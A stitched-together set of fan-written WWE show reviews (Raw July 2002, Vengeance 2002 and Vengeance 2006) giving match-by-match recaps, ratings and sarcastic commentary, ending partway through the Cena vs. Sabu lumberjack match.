Even the bar room thing had some comedy value to it. This worked on a lot of levels and is well worth finding. You could see the entertainment on Raw vs. the wrestling on Smackdown which is still around today being born here and it worked great. Well worth watching.

 

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Monday Night Raw – July 15, 2002: He’s Back And He’s Better Than Ever

Monday Night Raw
Date: July 15, 2002
Location: Continental Airlines Arena, East Rutherford, New Jersey
Commentators: Jim Ross, Jerry Lawler

Flair has no idea who the GM is but no one outside of a McMahon knows how hard this is.

Jeff Hardy/Spike Dudley/Bubba Ray Dudley vs. William Regal/Chris Benoit/Eddie Guerrero

Back with Eddie missing a slingshot hilo so that Jeff can cradle him for the pin to get us down to one on one. After some double teaming before Eddie leaves, Benoit hits a German suplex. Jeff gets sent to the corner but comes out with Whisper in the Wind. Eddie comes back out as a decoy, allowing Regal to pop up and knock Hardy out with the brass knuckles. Crossface goes on and Hardy is unconscious to end it.

Post match Benoit and Eddie set up a table but the Dudleys make the save.

Tommy Dreamer vs. Stevie Richards

Basically there are few rules but Singapore Canes are legal. Dreamer gets in a few shots to start and they head to the floor. Tommy jumps off the steps for a shot to the back of Richards. Stevie gets in a shot to the face (all shots here are with canes unless otherwise noted) and yells at the cane. Dreamer is busted. Richards suplexes him on the ramp but might have hurt his shoulder in the process.

Molly is defending. The champ gets a quick DDT after jumping Trish for two. Trish comes back, pounding away in the corner and hitting the Stratusphere. Chick Kick hits for two. The handspring elbow is countered into a victory roll for the same. Molly hits a backbreaker for two and Trish starts coming back. She loads up Stratusfaction but gets suplexed down. That and feet in the ropes get the pin to retain. This was nothing.

Flair runs into Bischoff in the back. Bischoff wants to bury their past issues but Flair is skeptical.

Booker T vs. Big Show

Big Show beats him down with the chair and chokeslams him through the table post match.

Brock is lifting a piece of the set in the back because he can. Heyman seems glad that Bischoff is here. Apparently they have a plan about Undertaker.

A WWE employee has died. Apparently he worked in merchandise.

Hardcore Title: Bradshaw vs. Christopher Nowitski

Johnny The Bull comes in to brag to Bischoff and loses the title to Bradshaw in the process.

Taker warns Brock not to screw with him.

Brock Lesnar/The Undertaker vs. Ric Flair/Rob Van Dam

Taker is WWE Champion and is teasing a face turn. Van Dam is facing Lesnar on Sunday for the IC Title. Flair is here because he might be the top face on Raw. Flair and Taker start us off and Ric is easily overpowered. They head to the corner so Flair can chop him and take over. Van Dam gets a blind tag and a top rope cross body for two. Taker misses a running big boot in the corner and Van Dam fires away with kicks.

Bischoff calls Rock to try to steal him to Raw to end the show.

http://kbwrestlingreviews.com/2012/07/26/vengeance-2002-the-great-one-is-still-great/

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Vengeance 2002: The Great One Is Still Great

Vengeance 2002
Date: July 21, 2002
Location: Joe Louis Arena, Detriot, Michigan
Attendance: 12,000
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Tazz

So at this time, the Brand Split has just happened, although this is still a double branded show. The main feud is Rock vs. Angle vs. Taker. Just glancing at the card, this show more or less sucks. Other than that, there just isn’t much here. Cena’s PPV debut is here if that helps anything at all. Van Dam vs. Lesnar could be ok I guess. Uh yeah let’s just get to this as I’m not sure how it’s going to go.

Should be noted that in April of this year, Orton debuted. In May Batista debuted, and in June, about a month prior to this, Cena debuted. Not bad for a three months period is it?

The opening video is based on a passage from the Bible of all things. Oh I forgot. Bischoff made his WWF debut around this time. Oh sorry. It’s WWE now. Really short though.

Tazz and Cole threatened JR and King and therefore they get to call half of the show due to JR and King not wanting to deal with a pair of idiots like them.

BubbaRayDudley/SpikeDudleyvs. ChrisBenoit/EddieGuerrero

This is an elimination match. Since D-Von got sent to Smackdown and is now a preacher (with a deacon named Batista), Spike and Bubba are more or less the new Dudley Boys. Yeah it didn’t work and at I think Survivor Series they put D-Von and Bubba back together. Eddie’s mullet is insane here. Benoit gets a decent pop. I’ve always liked how Fink said Benoit. Absolutely no reason for these guys fighting has been given yet.

Tazz says the Dudleys have tables all over their yard and porch. That’s kind of an amusing visual. Also, it’s stuff like that that is dead in wrestling today. It’s ridiculous, but it gives their characters a sense of kayfabe realism. Today, they’re just two guys that like putting people through tables. Here, they still have a bit of the crazed hillbillies in them which is what made them awesome in the first place. Benoit was hurt at KOTR 2001 so he’s back full time now.

See, that’s the kind of stuff we need to be told in case we’re not up to date. You know, information like WHY THEY’RE FIGHTING! Later in the fall, Bubba would get to feud with HHH over the world title of all things. To say they were low on ideas at this point is an understatement. With no tables involved yet, Cole is surprised that Benoit and Eddie are controlling this.

In other words, Cole is surprised that Benoit and Eddie are out-wrestling the Dudley Boys. WOW. Taz starts a sentence with “Those of you out there that haven’t been put through a table.” That sums up why I don’t have to make fun of it, even though it was made in a joking manner. HHH decides on Raw or Smackdown tonight. Ok then. Also, four ECW guys in there. But yeah Vince, ECW didn’t have much influence on WWE today. None at all.

Spike runs in for a modified Poetry in Motion that was pretty nice. This has been ALL Radicalz. Yes I know that’s not their name anymore so save your annoying comments. Bubba spears Spike to save him from going through a table. We’re about ten minutes into this and no one is eliminated yet. Spike does a double stomp to the ribs of Benoit from the top rope.

There’s no way that doesn’t hurt no matter how well you get ready for it. Bubba misses his back splash through the table but it doesn’t count since it wasn’t via an offensive move. They’ve been consistent with that so I can buy it. Spike reverses a suplex into a Dudley Dog on Eddie to eliminate him.

They kind of mess up the landing though as Eddie goes ribs first into it and doesn’t hit the ground with his body. Ow I think. Benoit hits a gorilla press on Spike (think about that for a second) and it’s one on one. And Bubba wins it with a Bubba Bomb.

Rati…..BUBBA DUDLEY JUST BEAT CHRIS BENOIT ON PAY PER VIEW??? WHAT IN THE WORLD IS THAT NONSENSE? SPIKE DUDLEY JUST BEAT EDDIE GUERRERO ON PPV??? I MUST HAVE EATEN SOME TAINTED YAK GUTS OR SOMETHING BECAUSE THIS ISN’T HAPPENING!!!

Rating: D+. It was long and had some drama, but in what non-existent universe should the Dudleys beat Eddie and Benoit in ANY kind of match? Someone explain this to me. Also, NO EXPLANATION of why they’re fighting at all. This was just a bizarre fifteen minutes if there ever has been a bizarre fifteen minutes. I’m legit stunned.

Bischoff says he’s here to sign the most ruthless athlete he knows of: HHH. Oh let it begin. He’s going into the Smackdown GM’s office. The Smackdown GM at the moment: Stephanie. I’d love to see HHH trying to get them to compete for his services. Three round competition: karate, lingerie, mud wrestling. Hey, tell me Stephanie wouldn’t look hot in a gi.

CruiserweightTitle: JamieNoblevs. BillyKidman

At this point, the belt means jack. It’s the guy wins title after being on “an impressive roll as of late”, holds it for like three months while never defending it, another guy goes “on an impressive roll as of late” and normally he wins the title. This would be the first major, and I use that term more loosely than Lita after a bottle of Jack, title defense for Noble though, so there’s more or less no way he loses here.

That and I reviewed the match where he did lose it already so yeah this isn’t in any doubt at all. Wow absolutely no one cares here. We get the line about Noble not being your traditional cruiserweight as he uses a ground based attack and isn’t a high flier. Well duh, he’s a heel champion. Has there ever been a high flier that’s a heel? Only an idiot would book that? Kidman goes up top. I wonder if he’s about to GET READY TO FLY.

I really could not be less interested in this. Yet I’m writing a review of it. There’s something extremely wrong with me I think. How in the world did Noble win the ROH Title for a month? Was that like a massive rib or something? Noble messes up Kidman’s shoulder to try to make people care. To be fair, Kidman gets some pops in there.

Oh some guy named Rey Mysterio debuts Thursday. So four months you got Ortn, Cena, Batista and Mysterio. Not bad. Kidman doesn’t tap to an armbar. Kidman goes for an enziguri. It lands on Noble’s back. Wow this is making my head hurt. Shooting Star misses and Noble rolls him up for two. Noble hits a Tiger Bomb to end this.

Rating: D+. Not bad, but seriously, no one really cared. This just filled in about 8 minutes and wasn’t that good at all. More or less a nothing match that went nowhere at all. Not that it was terrible or anything, but no point at all.

Angle says he’ll win tonight but does so in a comedic manner. He makes economy jokes based on Detroit. Wow that’s odd. Heyman and Lesnar interrupt and a rivalry is set up. Lesnar has the title shot at Summerslam. Brock was still the silent killer at the moment. Angle’s character has slowly grown on me over the years. He’s so happy go lucky and joking but he can whip so much ass in the ring that it’s ok.

EuropeanTitle: WilliamRegalvs. JeffHardy

Hardy is champion here for no reason whatsoever. Maybe the reason is he pinned the European Champion in a title match. Ah apparently it was to Hardy on Raw a few weeks back. He cried after losing the title. Cole of course makes fun of him. Jeff gets a big old pop even at this point. The fans can’t stand Regal at all. He always was a good guy for getting heat. Hardy does that dropkick through the middle and bottom ropes that he does but leaves it short.

Hardy messing up a move. Who would have guessed that? Whisper in the Wind doesn’t have a name yet. Oh and Jess is wearing body paint now. Swanton lands on the knees. That must hurt badly. Hardy gets a weird looking rollup from nowhere to retain. Seriously he was getting his head kicked in and then was rolling him up. Nice ending….I think. Regal freaks again afterwards.

Rating: D+. I know I’ve used that a lot here but it’s what comes up. Just a weird match to put it mildly. It was just random with Regal dominating most of the match but losing out of nowhere. The fans popped big for Hardy though so I can’t complain there.

Flair congratulates Hardy. Hogan is here too. These three are in the same company 8 years later and two of them are legends here. See something wrong there? Hogan says he might use a Swanton later. Flair says what he thinks Ross would say. It’s….not that funny. Hogan says he’s worried about Vince appointing Eric and Stephanie as GMs of THEIR company. Flair was still onscreen owner here, so what the heck is Hogan talking about HIS company?

Flair says he’s worried for the young guys. Oh that’s PRICELESS. You hear all of the political stuff coming, and you have to wonder why they have no problem talking about their bosses like this with a camera looking right at them. That’s wrestling though so I can go with it.

JohnCenavs. ChrisJericho

So Cena had debuted like a month before this and had nearly beaten Kurt Angle in a challenge match. Jericho is heel here mind you. Not bad for a debut feud. Jericho couldn’t beat him three days ago so he beat the tar out of him with a chair. Yeah Jericho not being able to beat Cena. I’m stunned too. Cena has generic rock theme #849B here. Oh and he’s from Boston here. Also he’s wearing red shorts with a white stripe up the side. It was a very different time.

He wouldn’t be a rapper for a few months. This is a totally different guy than you’re used to. He’s not that good in the ring, he has NO heat, and I don’t think he has an actual signature or finishing move. Jericho kicks his head off with a spinning heel kick. I love that move. More or less Cena is just trying to survive here. Random note but TNA started about a month before this. Lionsault misses and Cena gets two on a rollup. Jericho getting ticked off is a thing of beauty.

Lionsault hits but he doesn’t cover like an idiot. Cena counters the Walls into a rollup for a quick pin. See what I mean by not having a finisher? And remember, Jericho was main eventing Mania three and a half months earlier.

Rating: C-. TV level match here but this is far more of a signature moment than anything else. Jericho put him over clean here and you can’t ask for much more. This wasn’t bad at all, and given Cena’s experience at this point, there was only so high they could take this. Also, Cena beats Jericho again.

Bischoff and Coach are waiting outside Stephanie’s office where HHH has been for awhile. Her lawyer goes in. I don’t care.

JR and King take over on commentary.

RVD is stretching. So is Lesnar. BUYRATE BABY!

We recap them, which more or less is Lesnar is awesome and beats up everybody he fights. He beat RVD to win KOTR. That’s about it.

IntercontinentalTitle: BrockLesnarvs. RobVanDam

Ok so make that Cena, Orton, Batista, Mysterio and Lesnar in four months. Think this was a good time for the company? Heyman was perfect in this role. Although I do wonder why knowing Heyman’s money history Lesnar would let him handle his contracts. Makes little sense. Van Dam is OVER. Oh yeah he’s the hometown boy here. Brock uses an FU about 4 seconds in and since he’s not John Cena, it does nothing. Yeah Lesnar’s strength is nothing compared to Cena’s.

Van Dam gets some solid shots in on Lesnar that makes things believable at least. Weird to think that both of these guys are world champions today, almost eight years later. Lesnar hits a powerslam on the floor. Freaking OW! Ross thinks Van Dam has the advantage in speed in quickness. My head hurts from announcers at times.

We hit the bear hug with Brock in control. Van Dam cues up his comeback with Heyman’s advice being DON’T LOSE! F5 is countered into a DDT. Five Star connects but Heyman pulls the referee out. Yep, it’s a weak DQ. The referee beats up Heyman for no apparent reason. F5 to RVD post match.

Rating: C+. The key thing here was they had to protect both guys and that’s what they did. Van Dam keeps the title and had Lesnar beat, but Lesnar didn’t get pinned. It’s a nice deal because as they said, Lesnar had nothing at all to lose here. This was fine for what it was.

Let’s waste more time outside Stephanie’s office because it worked so well last time. Stephanie walks out and she’s not happy looking. She says he signed. Ok then. HHH walks out and Bischoff yells at him. Apparently he signed divorce papers. He hasn’t decided on who to sign with yet.

BigShowvs. BookerT

This is no DQ for no apparent reason. Maybe we’ll GET AN EXPLANATION HERE! No count outs either which I would have though was self-explanatory. Ah here’s an explanation. Show beat up Booker on Raw to culminate their feud. SO WHY ARE THEY FIGHTING??? Booker is in blue here which is oddly working for him. Apparently Show wanted the stipulations here. Oh and Show is in his one piece swimsuit again.

He would be the first guy to beat Lesnar. Wow. He’s just big, slow and bad here. We hear WWF here which would be a big issue today. If nothing else Show looks funny, although I don’t think that was their intention. Booker gets a good monitor shot into the head of Show on the floor. We now get one of the most contrived spots I can remember in a long time.

After that monitor shot, Booker gets on the other end of the tables and Show just happens to stay in perfect position for the axe kick. So if he hadn’t stood like that, what would Booker have done instead? That’s what I mean by contrived. We go back in and an axe kick and the Houston Hangover (front flip into a leg drop from the top) gets a clean pin. This was borderline squash.

Rating: D+. Not very good and that awful spot killed it for me. This was just random and it came off badly. Booker went on the hottest streak of his life just after this, culminating in being fed to HHH at Mania 19. This was just a weird one though.

Torrie and Dawn Marie are at The World, the newly named WWF New York. This was pointless.

And here’s HHH. Yeah, after about a month off or so, it’s time to talk about what his career plans are. Oh freaking JOY. Apparently he’s the biggest name in wrestling. Ok then. And we’re into HHH is awesome time now. Ross says he coined the phrase Cerebral Assassin months ago. Yeah that’s why they were using it OVER A YEAR AGO at Mania 17. Before he can talk though, here’s Bischoff. Once his theme song ends, his video keeps playing. Ok then.

Bischoff’s main pitch is he’s all business rather than personal. He offers HHH movie roles etc. He almost calls HHH a WCW Superstar. That was almost funny. He’s getting a shoe deal too. And here’s Stephanie of course. The weak rap/hip hop song for her just fails though. Wow Stephanie trying to be tough always FAILS. Oh yeah, and she cannot talk at all. They were unstoppable apparently.

You know, until they got, you know, stopped. Eric and Stephanie go back and forth for a bit with Stephanie mentioning that Eric once said HHH had no talent or charisma. WOW this is making my head hurt. Now HHH talks for awhile. This is just painfully bad. He sticks his hand out to Eric. He doesn’t shake it. He says he’d rather go with the devil he knows rather than the one he doesn’t. And here’s HBK who just left the NWO. Yeah that was just stupid.

The NWO had more or less been threatening to force HHH to join them on Raw. OH THAT’S RIGHT! Booker and Show were fighting because they were in the NWO together and Shawn said Booker was the reason the team sucked so Big Show started fighting Booker. This era sucked.

The NWO is gone now as they realized the thing was just stupid at this point. Shawn talks him into coming back to Raw. HHH turned heel the next night and beat up Shawn. This is ten minutes I’ll never get back. Gah it’s not over yet. Stephanie and Eric have to talk a bit more.

Rikishi says he’s surprised about HHH. This was pointless.

Booker and Goldust get asked about HHH. Booker says bring him on. Goldust makes a bad sex joke.

We recap the 4th of July tag title change. Edge was a childhood Hulkamaniac so they just randomly won the tag titles. Christian and Lance Storm were the UnAmericans at the time, so the REAL CANADIAN Edge and Hogan defended the country. Yeah it was stupid.

TagTitles: LanceStorm/Christianvs. HulkHogan/Edge

This isn’t going to be fun is it? I think the tag titles went on both brands at the time but I’m not sure. Yeah they did. Ross then explains that Toronto is in Canada. Ok then. It’s also the Hendrix music for Hogan. Yes let’s pay a commercial artist for music when WE OWN THE MOST FAMOUS SONG IN WRESTLING HISTORY! He follows that up by TWICE, yes TWICE saying that Hogan fought Warrior at Mania 3. WOW.

I knew that when I was 4 years old. Hogan vs. Christian starts. That’s a weird thing to see: Hogan fighting a guy that’s young and talented that hasn’t been elevated up yet. Dang how out of place does Hogan look here? If you get another talented guy in there, you could have a pretty interesting tag match. Or like this: Edge vs. Lance Storm. That sounds perfectly entertaining. This however, just isn’t interesting. Also, within about two months, Hogan has won the tag and world titles.

He’s like what, 50 at this point? Is there a reason to give him such title runs here? I can almost guarantee you that Edge will get pinned here if they lose the belts. Naturally Edge is the one getting beaten down. Hogan comes in and Christian goes for that diving reverse DDT of his. Hogan botches the HECK out of it. You know, because it’s such a hard move to take isn’t it? Leg drop to Christian but Storm makes the save.

Hogan doesn’t take the superkick from Storm right either. Edge comes in to clean house while Hogan looks for a pudding pack or something. And there goes the referee. Test runs down to beat up Hogan and Edge. Storm covers Edge for only two. Wow that surprised me. Rikishi of all people comes down to beat up Test. Sure why not?

Christian distracts the referee and JERICHO comes out to nail Edge with a title belt for the ending. Wow it only took four guys to get the belt off of Hogan and he didn’t even get pinned. That might be a new record low for Hogan. Naturally, this title that Hogan was so proud of was never mentioned again and he never went after it again.

Rating: D. Just bad and Hogan looked awful out there. Four guys to get the title off of Hogan. He botches a ton of spots, and he doesn’t even let Storm or Christian get to say they pinned Hogan. Yeah, this is definitely about the young guys. Can’t you see that?

Bischoff tries to get Angle onto Raw. Smart if nothing else.

Stephanie threatens to rip the heart out of Raw. Not sure what she means but she did get the IC Title to Smackdown. Pay no attention to the fact that the belts were unified soon after and we had the idiotic year where there were only world champions. Yeah it was stupid.

We recap the triple threat main event. Rock had a title shot for no apparent reason and there’s the famous Taker taps out while pinning Angle thing. Replays in slow enough motion show Taker tapping before the three hit the mat but whatever. It was a draw but whatever. That actually happened at UFC 34 in a Matt Hughes fight.

He was in a triangle choke and tried to slam the guy into the mat. He did so and won by knockout, but he was out from the choke. Taker suggested doing it to set up this angle. But no Vince, UFC which today is light years ahead of what it was back then has no impact on wrestling at all.

UndisputedTitle: TheRockvs. KurtAnglevs. Undertaker

So Rock is officially an actor now but he’s here for no adequately explained reason. That would come at Summerslam though. It’s your standard triple threat so far with Angle and Rock doing the heavy lifting early on. Taker goes for the chokeslam on Rock but Rock does it to him. In other words he did a Rock Bottom but didn’t go down with him. They show a close up replay and I forgot it was a chokeslam. Rock puts the ankle lock on Angle and Angle hits him with a Rock Bottom.

Taker hits an Angle Slam on Angle as we have a nice little sequence there. That wasn’t bad at all. I love it when Taker grabs a guy by the throat and throws them into the corner to punch the heck out of them. We do the standard one guy goes down and the other two fight for awhile. It does help as you can get three one on ones rather than a threeway so that’s good. Angle is bleeding. Not a bad cut either. He gets beaten back and forth between both guys.

Not bad, but this needs to pick things up a little. Oh look the referee is down and his leg hurts. Oh ok he’s already up again. Angle takes both guys out and covers Taker which is stupid as he was put down first. Taker hits the Last Ride but Angle gets the ankle lock. We use the same finish from Smackdown but now Rock is in the ankle lock. We’re fully into the whole finisher marathon segment here and it’s boring.

Rock Bottom to Taker gets two as Angle is down. Angle Slam to Taker but the Rock Bottom to Angle ends it. Meh. I would have been more interested if I didn’t know the winner beforehand. And I didn’t know because of this being 8 years ago. I knew because of the Rock/Lesnar poster they accidentally released two weeks before Rock won the title.

Rating: B-. Not bad, but DANG the whole nothing but finishers for the last 5 minutes got annoying. Rock jobbing to Lesnar was good and this set that up so I can’t complain much there. Angle was a nice placeholder I guess but this just wasn’t anything special at all. Seeing Taker do an Angle Slam was cool though. Just nothing special at all.

Overall Rating: D+. Nothing special here at all. This was a totally uninteresting show from start to finish with no great matches and 15 minutes going to HHH saying Raw rather than a long match in between. Thankfully this was the end of Hogan’s time around titles but man this was boring. The whole show just came off as uninteresting and like a waste of time. Take a pass here, although the triple threat is watchable.

 

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Vengeance 2006: It Ends With Cheerleaders

Vengeance 2006
Date: June 25, 2006
Location: Charlotte Bobcats Arena, Charlotte, North Carolina
Attendance: 6,800
Commentators: Jim Ross, Jerry Lawler

ECW is back. That’s the main thing here. They’ve been back for two weeks now and RVD is the WWE Champion, defending tonight against Edge. However, the main event is of course DX vs. the Spirit Squad since the title match can’t go on last right? There’s also Flair vs. Foley in a 2/3 falls match in a feud that is somewhat forgotten for some reason. Also tonight is the “blowoff” to the Imposter Kane angle that was just stupid as. That’s a pretty decent card already so let’s get to it.

The opening video is about Cena vs. Sabu which is an Extreme Lumberjack Match which something tells me isn’t going to be that good. Now we talk about Edge vs. RVD which was where just about everyone was saying the title would change.

Also as a random thing, this is right around the time when the latest incarnation of Wrestlezone came into being. Now we talk about DX. They’re hitting on the main angles here which at least makes sense. This was the beginning of DX vs. Vince which was such a painful angle to watch.

Randy Orton vs. Kurt Angle

In 2006, this opens a show. In 2010 it would be a dream match. Angle was on ECW at this point and Angle called out anyone in any kind of ring (four sides, six sides or eight sides) for a fight at One Night Stand. Orton took him up on it after Angle broke his ankle like two months earlier. He’s kind of a face here but not entirely. Angle is an “enemy” here so he’s supposed to be the heel I guess.

He has a remix of his normal music here and it sucks to put it nicely. He would be in TNA in the fall. Angle goes to the mat early as you would expect him to. King is very pro-Orton here as you would expect I guess. Angle tries to German Orton off the apron through the table and the angle that Angle is standing up and holding on at is amazing with his whole body hanging over the floor and just his feet touching the apron.

He’s holding onto Orton and the image is great. Orton throws a weak dropkick but of course according to Lawler it’s textbook. Ross says Orton likes to use a chinlock. That’s what we call an understatement as around this time he used it more than he ever does today. Lawler doesn’t get why the fans are cheering for Angle as he’s ECW now.

They’re doing the same thing that they messed up WCW with as they assume no one could like anything but the home product and it makes the fans sound stupid and the announcers incredibly stupid. I don’t know why but I love that jumping knee drop Orton does. Angle has an ECW mouth guard which ticks Lawler off to no end. He’s doing his job well here and I don’t know how to take that.

It’s pretty much all Orton at this point. Angle does the pop up second rope belly to belly which is more or less a slam but whatever. Angle Slam of course doesn’t work and this is a pretty good opener. We get an old classic as the turnbuckle is loosened. Angle hits EIGHT GERMANS IN A ROW. Orton is of course, dead. Angle may be a headcase but he can do some amazing stuff when he needs to. Ankle lock is hooked and Randy is in trouble. Orton does the flip forward and it sends Angle into the buckle. RKO ends it.

Rating: B-. This was a match you wouldn’t expect for an opener but I liked it. They were kind of just going through the motions out there but at the same time that’s all you need to do sometimes to have a good match. This isn’t a pairing you see that often and given that I was pleased. I’d like to see more from them and a clean finish so that’s a good sign. Also, Burn in My Light is a sweet song.

Vince is on the phone and says vengeance will be his. A kid in a DX shirt in a wheelchair comes in. I don’t remember this angle or anything so maybe this is a one off thing. Vince FREAKS and yells about all the things DX put him through on Monday night and I think I know where this is going.

Yep Vince shoves him out of the office and a crashing sound is heard. Coach comes in and says a family member is here that was wanting to just meet Vince and maybe get an autograph. Vince is fine with it and, say it with me, it was the kid. The skit writing back in this day was pretty shall we say BAD.

Umaga vs. Eugene

Umaga is brand new at this point having debuted in April at Backlash. For no apparent reason, Eugene has Jim Duggan, Doink the Clown and Kamala with him. What. You don’t get the connection? Estrada does the intro for Umaga as usual. I remember him as Osama in OVW and I never saw that much from him really. His voice was solid though.

Apparently Eugene can bring all the help he wants and it won’t matter. Umaga went from fighting Flair on PPV to fighting Eugene. Wow that’s kind of a letdown. When Duggan and the other guys come out, the look on Umaga’s face clearly says “the heck have I done to deserve this?” It’s the Steve Lombardi version of Doink here. The fans chant USA when Umaga is from AMERICAN Samoa and was born in California.

Duggan gets the fans to cheer for Eugene and it does nothing. The magic thumb ends it. Umaga wouldn’t lose until early January. The legends were completely worthless here. Duggan gets a thumb afterwards. So does Doink. Kamala, who I don’t think has ever won a match, doesn’t get a chance to fight because Estrada says he’s too nuts for Umaga to fight. They would have a match on Raw soon and guess what happened.

Rating: N/A. Nothing wrong with a PPV squash, but Eugene and a later match with Kamala? Really?

Grisham is with a heel Mick Foley. This was a different kind of feud based on real life drama between the two. Foley says we’re going to have a real life book reading here. Foley says Flair’s book is a novel and not an autobiography.

He reads stuff about how Foley isn’t a real legend because he’s stayed around too long as a freak show attraction. That’s absolutely hysterical at this point in time as Foley has stayed out of the ring other than to put people over…and win the TNA Title for no apparent reason…while Flair is a caricature of himself at this point.

Mick Foley vs. Ric Flair

This is 2/3…DANGLillian is gorgeous. She’s got her stomach showing and it’s all skinny and flat. Dang she looks great. Anyway it’s 2/3 falls. Foley is of course hated since we’re in Flair’s hometown. Flair gets a solid pop but something tells me this isn’t going to be as good as their Summerslam match. Foley does a technical sequence to start just to prove a point. Well there’s some thought in there at least. Foley does a strut and makes me smile.

Foley goes for the sock and it looks like Flair. Those are always funny. Flair, the ultimate ladies man, grabs Foley’s balls to counter. Sure why not. FLAIR HITS THE TOP ROPE AXE HANDLE! HOLY CRAP! He hurts his knee though so Foley goes after it. Flair drops an F Bomb but it gets censored. Foley goes for a figure four but Flair hooks a small package for the first fall.

Flair starts going off and we’re going into the crowd which doesn’t work that well as Flair doesn’t follow him. I don’t think I’ve ever seen that before but it worked. Fans are all over Foley as he pulls out a trash can. He tries to blast Foley in the head with it but Flair hooks a figure four.

He gets the trash can and blasts Flair with it, ending this match in like seven minutes in two straight falls. Uh, ok? Foley pulls out a barbed wire ball bat and Flair is of course busted open. Foley beats him up even more which sets up the I Quit match at Summerslam.

Rating: D-. Uh…yeah. I have no idea what the point of this was, but it failed miserably. Foley looks like a failure and Flair bleeds more. What was the point to this again? Like I said, the rematch is much better. This was just a strange choice all around and it didn’t work at all for me.

Maria is with Carlito and discusses a coolness paradox makes Carlito stop in mid bite. Funnier than it sounds. Torrie Wilson walks up in a swimsuit and asks Carlito to rub oil on her. Yeah the comedy was just off around this time. Maria rubs oil on her and vice versa. And it’s time for his match. Was there a point to this at all?

Intercontinental Title: Shelton Benjamin vs. Carlito vs. Johnny Nitro

Shelton is champion here and is a heel at the moment. This match was on the history of the IC Title DVD for seemingly no reason but the more I thought about it the more it makes sense. We have three midcard guys here that have no chance of being world champion at this point and need the credibility. A match like this is a great way to let them get over and gives them something to go after. It’s perfect and sums up what the title is supposed to be about.

The winner of this would feud with Jeff Hardy for awhile then Umaga, and then Santino would win it and cripple the belt for years until Jericho and Rey recently helped save it. Nitro is Morrison as you likely know. Melina is with him and is just freaking yummy looking. They’re going with the old school one on one formula here which is fine I guess. Carlito hits a nice dive to the floor to take everyone out and get the crowd awake. Good night Melina can freaking scream.

It’s so sad to see Carlito doing all kinds of flips and impressive looking stuff considering the levels of laziness he would reach in the future. Shelton catches Nitro’s flip into a powerbomb position and just falls backwards into a snake eyes for a great move. Even Ross is bragging about Carlito. There are some nice triple and double person spots in this thing. Lawler says that Melina is a bit upset by Nitro getting crotched.

In an AMAZING spot that gets a well deserved HOLY CRAP chant, Nitro is in the Tree of Woe, Carlito is standing on the top, Shelton jumps from the mat to the top, Shelton hooks Carlito in a suplex as Nitro does a massive sit-up to hook Shelton in a powerbomb. That looked awesome. Shelton takes a Backstabber, called the Backcracker here but Nitro pulls him out and gets the pin and the title in a steal. Nice way to end a good match.

Rating: B. I really liked this one as it was very fast paced and a great example of three guys being given a chance and showing off with it. This one worked very well and is probably the best match of the night so far, although not by much. This was a very fun match though and worked.

Spirit Squad is getting fired up and Vince comes in to be uninteresting, comparing DX to bird flu. And after they leave he takes a special pump into a bathroom….and it blows up like a bomb in a freaking Wile E. Coyote cartoon. ARE YOU KIDDING ME?

We recap Edge vs. RVD, which was set up by RVD winning the title at ONS with the help of Edge. Edge then challenged RVD and speared him which is all we need here. Yeah the buildup was kind of weak.

Raw World Title: Rob Van Dam vs. Edge

And yes this goes on 5th with the Kane match, Cena vs. Sabu and the Spirit Squad going on after the world title match. Let that sink in a bit. I love that One of a Kind song. Lillian says he is the champion with no WWE or ECW thing in there. That’s a bit odd. We get a long feeling out process and then a Phil Mickelson reference. Ok then. This is a very physical match here and they’re doing a bunch of big spots and a lot of stuff on the floor, including a sunset flip into a powerbomb on the floor.

Ross calls out Lawler for making everything about sex. He’s absolutely right too. We finally slow things down with a bow and arrow hold on RVD. They’re beating each other up here so I’ll give them points for that. Edge powerbombs RVD onto the railing in a very painful looking spot. Edge is working over the back for the most part here so we have a story in the thing resembling insanity. When did Edge start using a big boot?

A lot of the time you forget how big he is but he’s a big man. The fans are split here as it feels like we’re coming towards the end here. I love that one footed kick Van Dam uses. Rolling Thunder and Van Dam still won’t cover. I’m not sure if this match is good or not.

Van Dam hits the Van Daminator with the belt but Van Dam gets crotched by Lita. The referee is down in case you didn’t get it. Edge hits the Orton DDT and Van Dam is out. Lita holds up a chair for Edge to spear him into and you can figure out the result there. The Five Star ends it.

Rating: B-. It was physical, I’ll give it that. Other than that though, there isn’t much here I don’t think. It was ok and even better than ok, but having it in the middle of the show makes it seem like nothing at all. This was a nearly 20 minute match and as you can see I didn’t have a ton to say about it. It’s not that it was bad, but it just wasn’t that interesting and there wasn’t much that felt like it should be written about.

Also, it’s not like there was any secret that the title picture would involve Cena and it did very soon. Van Dam would get caught with pot (shocking isn’t it) soon after this and lose to Edge in a triple threat on Raw. He held the belt three weeks, which is still saying a lot for him.

The ECW locker room celebrates. Yeah there’s an ECW locker room for two ECW guys wrestling. Ah there’s lumberjacks. Got it.

Ad for the ECW TV show set to clips of the original ECW. That’s just amusing.

Kane vs. Kane

This is one of the most infamously stupid angles ever. Kane is facing a guy that looks like he used to. Basically Kane was in a bad movie called See No Evil and somehow it brought a guy from his past to WWE who dressed like he used to or something. Kane knew who he was but they never told us that or anything so whatever. He was played by the guy now known as Luke Gallows. I’ll refer to them as real and fake here.

Real dominates early which doesn’t last very long. Real goes for the mask and doesn’t get it of course. Only HHH could manage to do that. And there are the boring chants. Ah look a chinlock. Ross says Kane is at a disadvantage because he doesn’t know who he’s wrestling despite saying Kane knew the imposter earlier.

Ross says it’s been an ugly match. Yeah I’d agree. Is this supposed to be good or to make sense? Real hits something like a throw off the top but it was more or less closer to an over the shoulder slam than anything else. Just end this please. Fake hits a chokeslam and does Kane’s old pin to end it.

Rating: F+. Oh do I even need to explain this? The match was worse than the angle. Kane would beat the imposter up on Raw soon and take the mask, ending anything of this angle. Yeah it’s bad.

Ad for the Flair DVD which is just amazing.

We recap Cena vs. Sabu which is Cena complaining about a lack of rules then saying he liked it. So he showed up on the debut of ECW, thereby completely screwing up the idea of the show.

John Cena vs. Sabu

This is an EXTREME LUMBERJACK MATCH which sounds like something off a bad video game. The lumberjacks are Viscera, Trevor Murdoch, Lance Cade, Rob Conway, Snitsky, Matt Striker, Charlie Haas, Val Venis, Tommy Dreamer, Balls Mahoney, Stevie Richards, Little Guido Maritato, Roadkill, Danny Doring, Justin Credible, Al Snow, and The Sandman. Let’s get this over with. Matt Striker pretending to be a wrestler is so cute.

This whole show needs to end like NOW. Cena gets a very mixed reaction to put it mildly. Of course the lumberjacks get in a big showdown and Cena has a black eye from Sabu from Monday. The lumberjacks do their usual thing as I wonder what the point of a lumberjack match is. Were there ever lumberjacks used for one? This turns into a contest of who can throw the other person to the floor the most.

